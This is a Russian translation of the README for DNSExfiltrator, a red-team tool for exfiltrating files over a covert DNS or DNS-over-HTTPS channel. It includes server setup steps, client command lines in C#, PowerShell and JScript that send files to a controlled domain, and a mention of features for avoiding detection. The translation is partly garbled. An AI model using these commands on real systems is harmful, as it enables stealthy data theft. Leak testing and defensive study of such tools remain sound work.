
Эксфильтрация данных через скрытый канал DNS-запросов
Автор: Arno0x0x - @Arno0x0x
DNSExfiltrator позволяет передавать (эксплуатировать) файл через скрытый канал DNS-запросов. Это, по сути, инструмент для тестирования утечки данных, позволяющий эксплуатировать данные через скрытый канал.
DNSExfiltrator состоит из двух частей:
dnsexfiltrator.py), который работает как собственный DNS-сервер, принимающий файл.dnsExfiltrator.cs: скрипт на C#, который можно скомпилировать с помощью csc.exe для получения управляемого исполняемого файла Windows.Invoke-DNSExfiltrator.ps1: скрипт PowerShell, предоставляющий те же функциональные возможности путем обертывания сборки dnsExfiltrator.dnsExfiltrator.js: скрипт JScript, который является преобразованием сборки DLL dnsExiltrator с помощью DotNetToJScript и предоставляет те же функциональные возможности.Для работы всей схемы вам необходимо владеть доменным именем и настроить DNS-запись (NS) для этого домена так, чтобы она указывала на сервер, на котором будет запущена серверная часть dnsexfiltrator.py.
По умолчанию DNSExfiltrator использует DNS-сервер, определенный в системе, но вы также можете указать конкретный DNS-сервер для использования (полезно для отладки или для локального запуска серверной части, например).
Кроме того, с помощью параметра h DNSExfiltrator может выполнять DoH (DNS через HTTP) с использованием серверов Google или CloudFlare DoH.
По умолчанию данные для эксплуатации кодируются в base64URL, чтобы соответствовать DNS-запросам. Однако некоторые DNS-резолверы могут нарушить это кодирование (что вполне справедливо, так как FQDN не должны быть чувствительны к регистру), путая чувствительность к регистру (верхний или нижний), что, очевидно, важно для процесса кодирования/декодирования. Чтобы обойти эту проблему, вы можете использовать флаг -b32, чтобы принудительно применить кодирование Base32 данных, что немного увеличивает размер. Если вы используете DoH CloudFlare, кодирование base32 применяется автоматически.
DNSExfiltrator поддерживает базовое шифрование RC4 экспортируемых данных, используя предоставленный пароль для шифрования/расшифровки данных.
DNSExfiltrator также предоставляет некоторые дополнительные функции для предотвращения обнаружения:
Единственная зависимость — на стороне сервера, так как скрипт dnsexfiltrator.py использует внешнюю библиотеку dnslib. Вы можете установить её с помощью pip:
pip install -r requirements.txt
СЕРВЕРНАЯ СТОРОНА
Запустите скрипт dnsexfiltrator.py, передав ему имя домена и пароль для расшифровки:
root@kali:~# ./dnsexfiltrator.py -d mydomain.com -p password
КЛИЕНТСКАЯ СТОРОНА
Вы можете либо использовать скомпилированную версию, либо обертку PowerShell (которая, по сути, одно и то же) либо обертку JScript. В любом случае параметры одинаковы, с небольшим отличием в способе их передачи в PowerShell.
1/ Используя скомпилированный исполняемый файл Windows на C# (который можно найти в каталоге release):
dnsExfiltrator.exe <file> <domainName> <password> [-b32] [h=google|cloudflare] [s=<DNS_server>] [t=<throttleTime>] [r=<requestMaxSize>] [l=<labelMaxSize>]
file: [ОБЯЗАТЕЛЬНО] Имя файла для экспорта.
domainName: [ОБЯЗАТЕЛЬНО] Доменное имя для использования в DNS-запросах.
password: [ОБЯЗАТЕЛЬНО] Пароль для шифрования экспортируемых данных.
-b32: [НЕОБЯЗАТЕЛЬНО] Использовать кодирование base32 данных. Может потребоваться, если некоторые DNS-резолверы нарушают регистр.
h: [НЕОБЯЗАТЕЛЬНО] Использовать серверы DoH Google или CloudFlare (DNS через HTTP).
DNS_Server: [НЕОБЯЗАТЕЛЬНО] Имя или IP-адрес DNS-сервера для DNS-запросов. По умолчанию используется системный.
throttleTime: [НЕОБЯЗАТЕЛЬНО] Время в миллисекундах ожидания между каждым DNS-запросом.
requestMaxSize: [НЕОБЯЗАТЕЛЬНО] Максимальный размер в байтах для каждого DNS-запроса. По умолчанию 255 байт.
labelMaxSize: [НЕОБЯЗАТЕЛЬНО] Максимальный размер в символах для каждой метки DNS (поддомена). По умолчанию 63 символа.
2/ Используя скрипт PowerShell, просто вызовите его любым удобным способом (вы, вероятно, знаете множество способов вызова скрипта PowerShell) вместе с параметрами скрипта. Самый простой пример:
c:\DNSExfiltrator> powershell
PS c:\DNSExfiltrator> Import-Module .\Invoke-DNSExfiltrator.ps1
PS c:\DNSExfiltrator> Invoke-DNSExfiltrator -i inputFile -d mydomain.com -p password -s my.dns.server.com -t 500
[...]
Дополнительные примеры использования смотрите в разделе EXAMPLES файла скрипта.

3/ Используя скрипт JScript, передайте ему те же аргументы, что и для отдельного исполняемого файла Windows:
cscript.exe dnsExiltrator.js inputFile mydomain.com password
Или с некоторыми опциями:
cscript.exe dnsExiltrator.js inputFile mydomain.com password s=my.dns.server.com t=500
Этот инструмент предназначен для использования только в законных и легитимных целях:
Цитируя авторов Empire: Невозможно создавать наступательные инструменты, полезные для легитимной индустрии информационной безопасности, одновременно предотвращая их злоупотребление злоумышленниками.